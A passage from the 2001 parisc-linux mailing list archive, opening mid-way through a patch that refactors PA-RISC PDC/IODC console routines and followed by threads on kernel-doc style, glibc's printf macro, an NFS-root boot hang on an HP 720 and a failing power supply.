+	save_flags(flags);
+	cli();
+	real32_call(PAGE0->mem_kbd.iodc_io,
+		    (unsigned long)PAGE0->mem_kbd.hpa, ENTRY_IO_CIN,
+		    PAGE0->mem_kbd.spa, __pa(PAGE0->mem_kbd.dp.layers),
+		    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
+	restore_flags(flags);
+	c = *iodc_dbuf;	/* save the character directly to ch */
+	return *iodc_retbuf == 0;
+}
 
 static spinlock_t pdc_lock = SPIN_LOCK_UNLOCKED;
 
@@ -364,7 +440,7 @@ struct narrow_stack {
 	/* in reality, there's nearly 8k of stack after this */
 };
 
-long real32_call(unsigned long fn, ...)
+static long real32_call(unsigned long fn, ...)
 {
 	va_list args;
 	unsigned long r, flags;
@@ -421,7 +497,7 @@ struct wide_stack {
 	/* in reality, there's nearly 8k of stack after this */
 };
 
-long real64_call(unsigned long fn, ...)
+static long real64_call(unsigned long fn, ...)
 {
 	va_list args;
 	unsigned long r, flags;
Index: arch/parisc/kernel/pdc_cons.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/pdc_cons.c,v
retrieving revision 1.24
diff -u -p -r1.24 pdc_cons.c
--- pdc_cons.c	2001/03/08 13:30:33	1.24
+++ pdc_cons.c	2001/03/24 22:17:36
@@ -11,89 +11,23 @@
 #include <asm/system.h>
 #include <asm/pdc.h>	/* for iodc_call() proto and friends */
 
-static int __attribute__((aligned(8)))   iodc_retbuf[32];
-static char __attribute__((aligned(64))) iodc_dbuf[4096];
-
-/*
- * pdc_putc:
- * Console character print using IODC.
- *
- * Note that only these special chars are architected for console IODC io:
- * BEL, BS, CR, and LF. Others are passed through.
- * Since the HP console requires CR+LF to perform a 'newline', we translate
- * "\n" to "\r\n".
- */
-
-static int posx;	/* for simple TAB-Simulation... */
-
-/* XXX Should we spinlock posx usage */
-
-void pdc_putc(unsigned char c)
-{
-	unsigned int n;
-
-	switch (c) {
-	case '\n':
-		iodc_dbuf[0] = '\r'; 
-		iodc_dbuf[1] = '\n';
-               	n = 2;
-               	posx = 0;
-		break;
-	case '\t':
-		pdc_putc(' ');
-		while (posx & 7) 	/* expand TAB */
-			pdc_putc(' ');
-		return;		/* return since IODC can't handle this */
-	case '\b':
-		posx-=2;		/* BS */
-	default:
-		iodc_dbuf[0] = c;
-		n = 1;
-		posx++;
-		break;
-	}
-	{
-		real32_call(PAGE0->mem_cons.iodc_io,
-			(unsigned long)PAGE0->mem_cons.hpa, ENTRY_IO_COUT,
-			PAGE0->mem_cons.spa, __pa(PAGE0->mem_cons.dp.layers),
-			__pa(iodc_retbuf), 0, __pa(iodc_dbuf), n, 0);
-	}
-}
-
 static void pdc_console_write(struct console *co, const char *s, unsigned count)
 {
 	while(count--)
-		pdc_putc(*s++);
+		pdc_iodc_putc(*s++);
 }
 
-int pdc_console_wait_key(struct console *co)
+unsigned char pdc_console_wait_key(struct console *co)
 {
-	int ch = 'X';
-	int status;
+	unsigned char ch = 'X';
 
 	/* Bail if no console input device. */
 	if (!PAGE0->mem_kbd.iodc_io)
 		return 0;
 	
 	/* wait for a keyboard (rs232)-input */
-	do {
-		unsigned long flags;
-
-		save_flags(flags);
-		cli();
-		status = real32_call(PAGE0->mem_kbd.iodc_io,
-			(unsigned long)PAGE0->mem_kbd.hpa, ENTRY_IO_CIN,
-			PAGE0->mem_kbd.spa, __pa(PAGE0->mem_kbd.dp.layers),
-			__pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
-		restore_flags(flags);
-		ch = *iodc_dbuf;	/* save the character directly to ch */
-	} while (*iodc_retbuf == 0);	/* wait for a key */
+	while(pdc_iodc_getc(&ch));
 	return ch;
-}
-
-int pdc_getc(void)
-{
-	return pdc_console_wait_key(NULL);
 }
 
 static int pdc_console_setup(struct console *co, char *options)
Index: arch/parisc/kernel/process.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/process.c,v
retrieving revision 1.34
diff -u -p -r1.34 process.c
--- process.c	2001/02/23 07:02:01	1.34
+++ process.c	2001/03/24 22:17:36
@@ -113,15 +113,12 @@ void machine_restart(char *cmd)
 		** memory self tests. (Not implemented yet)
 		*/
 		if (ftc_bitmap) {
-			mem_pdc_call( PDC_BROADCAST_RESET,
-				PDC_DO_FIRM_TEST_RESET, PDC_FIRM_TEST_MAGIC,
-				ftc_bitmap);
+			pdc_do_firm_test_reset(ftc_bitmap);
 		}
 #endif
 
 		/* "Normal" system reset */
-		(void) mem_pdc_call(PDC_BROADCAST_RESET, PDC_DO_RESET,
-			0L, 0L, 0L);
+		pdc_do_reset();
 
 		/* Nope...box should reset with just CMD_RESET now */
 		gsc_writel(CMD_RESET, COMMAND_GLOBAL);
Index: include/asm-parisc/pdc.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/pdc.h,v
retrieving revision 1.28
diff -u -p -r1.28 pdc.h
--- pdc.h	2001/03/22 16:24:19	1.28
+++ pdc.h	2001/03/24 22:17:38
@@ -600,8 +600,8 @@ struct zeropage {
 #ifndef __ASSEMBLY__
 extern void pdc_console_init(void);
 /* pdc_get/put are NOT SMP safe - use at your own risk! */
-extern int  pdc_getc(void);		/* wait for char */
-extern void pdc_putc(unsigned char);	/* print char */
+extern int  pdc_iodc_getc(unsigned char *); /* wait for char */
+extern void pdc_iodc_putc(unsigned char);   /* print char */
 
 extern void setup_pdc(void);            /* in inventory.c */
 
@@ -639,6 +639,9 @@ int pdc_pci_irt(void *r_addr, void *hpa,
 int pdc_tod_read(struct pdc_tod *tod);
 int pdc_tod_set(unsigned long sec, unsigned long usec);
 
+int pdc_do_firm_test_reset(unsigned long ftc_bitmap);
+int pdc_do_reset(void);
+
 #ifdef __LP64__
 int pdc_mem_mem_table(void *r_addr, void *tbl, unsigned long entries);
 #endif
@@ -646,6 +649,10 @@ int pdc_mem_mem_table(void *r_addr, void
 /* on all currently-supported platforms, IODC I/O calls are always
  * 32-bit calls, and MEM_PDC calls are always the same width as the OS.
  * This means Cxxx boxes can't run wide kernels right now. -PB
+ *
+ * CONFIG_PDC_NARROW has been added to allow 64-bit kernels to run on
+ * systems with 32-bit MEM_PDC calls. This will allow wide kernels to
+ * run on Cxxx boxes now. -RB
  *
  * Note that some PAT boxes may have 64-bit IODC I/O...
  */





From - Thu Nov 08 21:17:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Additional PDC cleanups
Date: Sun, 25 Mar 2001 08:01:40 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20010325080140.F31126@parcelfarce.linux.theplanet.co.uk>
References: <20010324154419.A18097@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619975 17045 80.91.229.3 (22 Nov 2014 01:32:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rbradetich@uswest.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 25 00:01:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE83A482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Mar 2001 00:01:43 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14h4Wy-0004lK-00; Sun, 25 Mar 2001 08:01:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010324154419.A18097@beavis.ybsoft.com>; from rbrad@beavis.ybsoft.com on Sat, Mar 24, 2001 at 03:44:19PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10597

On Sat, Mar 24, 2001 at 03:44:19PM -0700, Ryan Bradetich wrote:
> My first thoughts were to make the STI_CALL function look like this:
> 
> #define STI_CALL(func, flags, inptr, outptr, glob_cfg) \
> 	({	 						\
> 		pdc_sti_call( func, (unsigned long)STI_PTR(flags), \
> 				    STI_PTR(inptr), STI_PTR(outptr), \
> 				    glob_cfg); \
> 	})
> 
> and define the pdc_sti_call in firmware.c.  Anyone have a different
> approach that would make more sense? 

Makes sense.  you might want to remove the cast and do it inside
pdc_sti_call.  every time i look at the sti code, i have to resist the
urge to rip it into tiny pieces and redo it :-)

> +/*
> + * pdc_putc:
> + * Console character print using IODC.
> + *
> + * Note that only these special chars are architected for console IODC io:
> + * BEL, BS, CR, and LF. Others are passed through.
> + * Since the HP console requires CR+LF to perform a 'newline', we translate
> + * "\n" to "\r\n".
> + */

This is so close to being kernel-doc it seems foolish not to go the
whole hog.

/**
 * iodc_putc - Console character print using IODC.
 * @c: the character to output.
 * 
 * Note that only these special chars are architected for console IODC io:
 * BEL, BS, CR, and LF. Others are passed through.
 * Since the HP console requires CR+LF to perform a 'newline', we translate
 * "\n" to "\r\n".
 */

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Building packages, problems with printf
Date: Sun, 25 Mar 2001 22:02:23 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010325220223.G31126@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619975 17047 80.91.229.3 (22 Nov 2014 01:32:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 25 14:02:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2A1E482A
	for <parisc-linux@parisc-linux.org>; Sun, 25 Mar 2001 14:02:24 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14hHeZ-0008CV-00
	for parisc-linux@parisc-linux.org; Sun, 25 Mar 2001 22:02:23 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10598

Something we've been running into when building packages is the problem
that printf is defined as a macro when using gcc 2.97.  This should be
resolved by doing the following:

#include <stdio.h>
#undef printf

fixing glibc to not do that seems to not be an option.  ANSI explicitly
allows any of the functions in libc to also be defined as macros.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Again problem with FS of ESIEE on 720 !
Date: Sun, 25 Mar 2001 23:41:06 +0200
Organization: private
Lines: 77
Approved: news@gmane.org
Message-ID: <3ABE65F2.16100D87@dot.at>
References: <20010322115429.50240D15F5@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619975 17050 80.91.229.3 (22 Nov 2014 01:32:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 25 14:41:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta05.chello.at (viemta05.chello.at [195.34.133.55])
	by dsl2.external.hp.com (Postfix) with ESMTP id AEA56482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Mar 2001 14:41:09 -0700 (MST)
Original-Received: from dot.at ([62.178.92.247]) by viemta05.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010325214107.IRTY24343.viemta05@dot.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 25 Mar 2001 23:41:07 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10599

Again and again. The ESIEE file system does not work. The kernel
is built myself (not from ESIEE !!!) and the nfs_root is set to
ESIEE. The problem is, that the init or other processes like shell
do not start. The hang before any output is done.

I instruemented the kernel for testing stdout via /dev/console and
to print out where it is. In the kernel everything is perfect.

No process is able to start (giver per init= command line or patched
in init/main.c in the kernel tree.

Also an old trick of mine, starting the bash or init via strace from
the kernel (calling strace instead of init in execve) does not work,
noi reaction, the system seems to be halted or no I/O is working,
or perhaps there is a problem with the shared libraries.

Is there something to do special by building the kernel to use ESIEE ??
Cheers
	Christoph


marteau wrote:
> 
> Hi Christoph and PA-RISCers !
> 
> >I have tried the current and the last ESIEE file system,
> >but I have problems with both. I used my own kernel,
> The kernels you will find are designed for 712 but it seems to work
> many others boxes!
> vmlinux.mou is a kernel that integrate the low level mouse driver!
> (you can check via /proc/interrupts)
> 
> >running with the palinux-0.5, but the ESIEE always hangs.
> >If I do not change the /dev/console, I get the warning...
> >(of course, I have not compiled in the STI). So tried
> >to set the `mknod console c 5 1' and I also tried the
> >"hack" doing a link to `ttyS0'. In both cases `init'
> I read what Matthew wrote. We goona look at it in order to be
> automatic
> 
> >gives no welcome message (version, etc...) and the machine
> >hangs !
> Our inittab file is specific for dual screen (if you use STI console
> and Serial terminal!)
> I do not know how it reacts if the kernel expect a console with the
> serail port :( Any idea?
> 
> Also you can refer to this mail:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-March/011997
> .html
> 
> >Now I will instrument the kernel with `printk's to see,
> >if he can start something,.....
> You can but once init is launched the dmesg is less usefull.
> 
> >What's the topic with the TERM variable ??
> TERM=LINUX is not operational
> TERM=vt100 or pcansi are working!
> 
> >Have I set it to a special value ???
> >Can that be the reason ???
> Don't think so
> 
> Bye, Thomas
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HELP HELP - my power supply of the 720 !!
Date: Sun, 25 Mar 2001 23:43:07 +0200
Organization: private
Lines: 58
Approved: news@gmane.org
Message-ID: <3ABE666B.22B7460F@dot.at>
References: <3ABBF7D9.1645DDF3@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619976 17053 80.91.229.3 (22 Nov 2014 01:32:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org, alan_meyer@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 25 14:43:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from viemta05.chello.at (viemta05.chello.at [195.34.133.55])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CD4C482A
	for <parisc-linux@parisc-linux.org>; Sun, 25 Mar 2001 14:43:09 -0700 (MST)
Original-Received: from dot.at ([62.178.92.247]) by viemta05.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010325214308.IRWG24343.viemta05@dot.at>;
          Sun, 25 Mar 2001 23:43:08 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10600

>From time to time I switch my 720 (apollo 9000/720) via a switch in the
plug of the main supply not with the switch on the front of the
workstation.
Can damage this the machine (power supply) ??

Please answer to my problems !

With friendly regards
	Christoph Plattner



Christoph Plattner wrote:
> 
> HELP !
> 
> I have a problem with my power supply on the HP 720 work station.
> Ok thats off topic, but I need help !
> 
> Since a week I have trouble with my 720. When I switch it on,
> the LEDs flashes up for a part of a second (ca. 100-200ms), and then
> it's dead again. The power supply cannot hold up the power.
> 
> After switch off the machine (or unplugging from main supply), it can
> start in normal manner. Another day, it has the trouble again.
> 
> I debugged the machine inside with multimeter, isolated circutis
> (removed CPU and I/O cards, etc) and analysed some points.
> 
> The problem is definitely the power supply, not another part in the
> Apollo 720.
> 
> As there a hardware docu of this power supply ? .. to have a chance to
> repair it ?
> Is there anybody who can help me with a cheap (very cheap) replacement
> of a power supply ?
> 
> Please contact me in this subject !!
> 
> Cheers
>         Christoph P.
> 
> -------------------------------------------------------------------------
> private:        christoph.plattner@dot.at
> company:        christoph.plattner@alcatel.at
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building packages, problems with printf
Date: Mon, 26 Mar 2001 09:03:34 +1000 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103260855260.3568-100000@front.linuxcare.com.au>
References: <20010325220223.G31126@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619976 17054 80.91.229.3 (22 Nov 2014 01:32:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 25 16:05:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75945482A
	for <parisc-linux@parisc-linux.org>; Sun, 25 Mar 2001 16:05:16 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA10225;
	Mon, 26 Mar 2001 09:03:34 +1000
In-Reply-To: <20010325220223.G31126@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10601

On Sun, 25 Mar 2001, Matthew Wilcox wrote:

> Something we've been running into when building packages is the problem
> that printf is defined as a macro when using gcc 2.97.  This should be
> resolved by doing the following:
> 
> #include <stdio.h>
> #undef printf

That's cheating!  The real fix is to turn

printf (foo_string,
#if SOMETHING
abc_param
#else
xyz_param
#endif
);

into

#if SOMETHING
printf (foo_string, abc_param);
#else
printf (foo_string, xyz_param);
#endif

Earn brownie points sending off proper fixes to package maintainers. :)

> fixing glibc to not do that seems to not be an option.  ANSI explicitly
> allows any of the functions in libc to also be defined as macros.

Alan
-- 
Linuxcare





From - Thu Nov 08 21:17:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building packages, problems with printf
Date: Mon, 26 Mar 2001 00:11:30 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20010326001130.K31126@parcelfarce.linux.theplanet.co.uk>
References: <20010325220223.G31126@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0103260855260.3568-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619976 17056 80.91.229.3 (22 Nov 2014 01:32:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:56 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 25 16:11:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE744482A
	for <parisc-linux@parisc-linux.org>; Sun, 25 Mar 2001 16:11:56 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14hJfW-0001jH-00; Mon, 26 Mar 2001 00:11:30 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0103260855260.3568-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Mon, Mar 26, 2001 at 09:03:34AM +1000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10602

On Mon, Mar 26, 2001 at 09:03:34AM +1000, Alan Modra wrote:
> That's cheating!  The real fix is to turn
> 
> printf (foo_string,
> #if SOMETHING
> abc_param
> #else
> xyz_param
> #endif
> );
> 
> into
> 
> #if SOMETHING
> printf (foo_string, abc_param);
> #else
> printf (foo_string, xyz_param);
> #endif
> 
> Earn brownie points sending off proper fixes to package maintainers. :)

Ah, but that doesn't cure netkit-telnet which is c++ and has a method called
printf which gets royally bollixed by this define.

Agreed that's a better solution though for the cases where it applies.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building packages, problems with printf
Date: Mon, 26 Mar 2001 00:42:46 +0100 (BST)
Lines: 17
Approved: news@gmane.org
Message-ID: <E14hK9p-0000hh-00@the-village.bc.nu>
References: <Pine.LNX.4.21.0103260855260.3568-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619977 17060 80.91.229.3 (22 Nov 2014 01:32:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:57 +0000 (UTC)
Cc: matthew@wil.cx (Matthew Wilcox), parisc-linux@parisc-linux.org
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 25 16:41:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19F46482A
	for <parisc-linux@parisc-linux.org>; Sun, 25 Mar 2001 16:41:33 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14hK9p-0000hh-00; Mon, 26 Mar 2001 00:42:49 +0100
In-Reply-To: <Pine.LNX.4.21.0103260855260.3568-100000@front.linuxcare.com.au> from "Alan Modra" at Mar 26, 2001 09:03:34 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10603

> Earn brownie points sending off proper fixes to package maintainers. :)

Most package maintainers wont bother. printf as a macro breaks too much code
to be 'interesting' to fix. Many people take the address of printf for 
passing to functions using multiple I/O output methods

> > fixing glibc to not do that seems to not be an option.  ANSI explicitly
> > allows any of the functions in libc to also be defined as macros.

glibc may be ANSI compliant, its just useless if it does this. Useful and
standards compliant  interesect but dont 100% overlap

Alan





From - Thu Nov 08 21:17:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building packages, problems with printf
Date: Mon, 26 Mar 2001 00:44:40 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010326004440.O31126@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.21.0103260855260.3568-100000@front.linuxcare.com.au> <E14hK9p-0000hh-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619977 17061 80.91.229.3 (22 Nov 2014 01:32:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:57 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>,
	Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 25 16:44:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B10A7482A
	for <parisc-linux@parisc-linux.org>; Sun, 25 Mar 2001 16:44:54 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14hKBc-0002E1-00; Mon, 26 Mar 2001 00:44:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E14hK9p-0000hh-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Mon, Mar 26, 2001 at 12:42:46AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10604

On Mon, Mar 26, 2001 at 12:42:46AM +0100, Alan Cox wrote:
> > Earn brownie points sending off proper fixes to package maintainers. :)
> 
> Most package maintainers wont bother. printf as a macro breaks too much code
> to be 'interesting' to fix. Many people take the address of printf for 
> passing to functions using multiple I/O output methods

you can still do that.  it's still an external function, but for
`optimisation' purposes calls to it go to fprintf.  i think this is a
worthless optimisation myself.

perhaps you can convince drepper of this?  :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Keyboard cleanup
Date: Mon, 26 Mar 2001 00:33:12 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010326003312.N31126@parcelfarce.linux.theplanet.co.uk>
References: <E14fxTj-00036B-00@chrysl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619977 17062 80.91.229.3 (22 Nov 2014 01:32:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:57 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 25 16:46:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7D51482A
	for <parisc-linux@parisc-linux.org>; Sun, 25 Mar 2001 16:46:24 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14hK0W-00022S-00; Mon, 26 Mar 2001 00:33:12 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
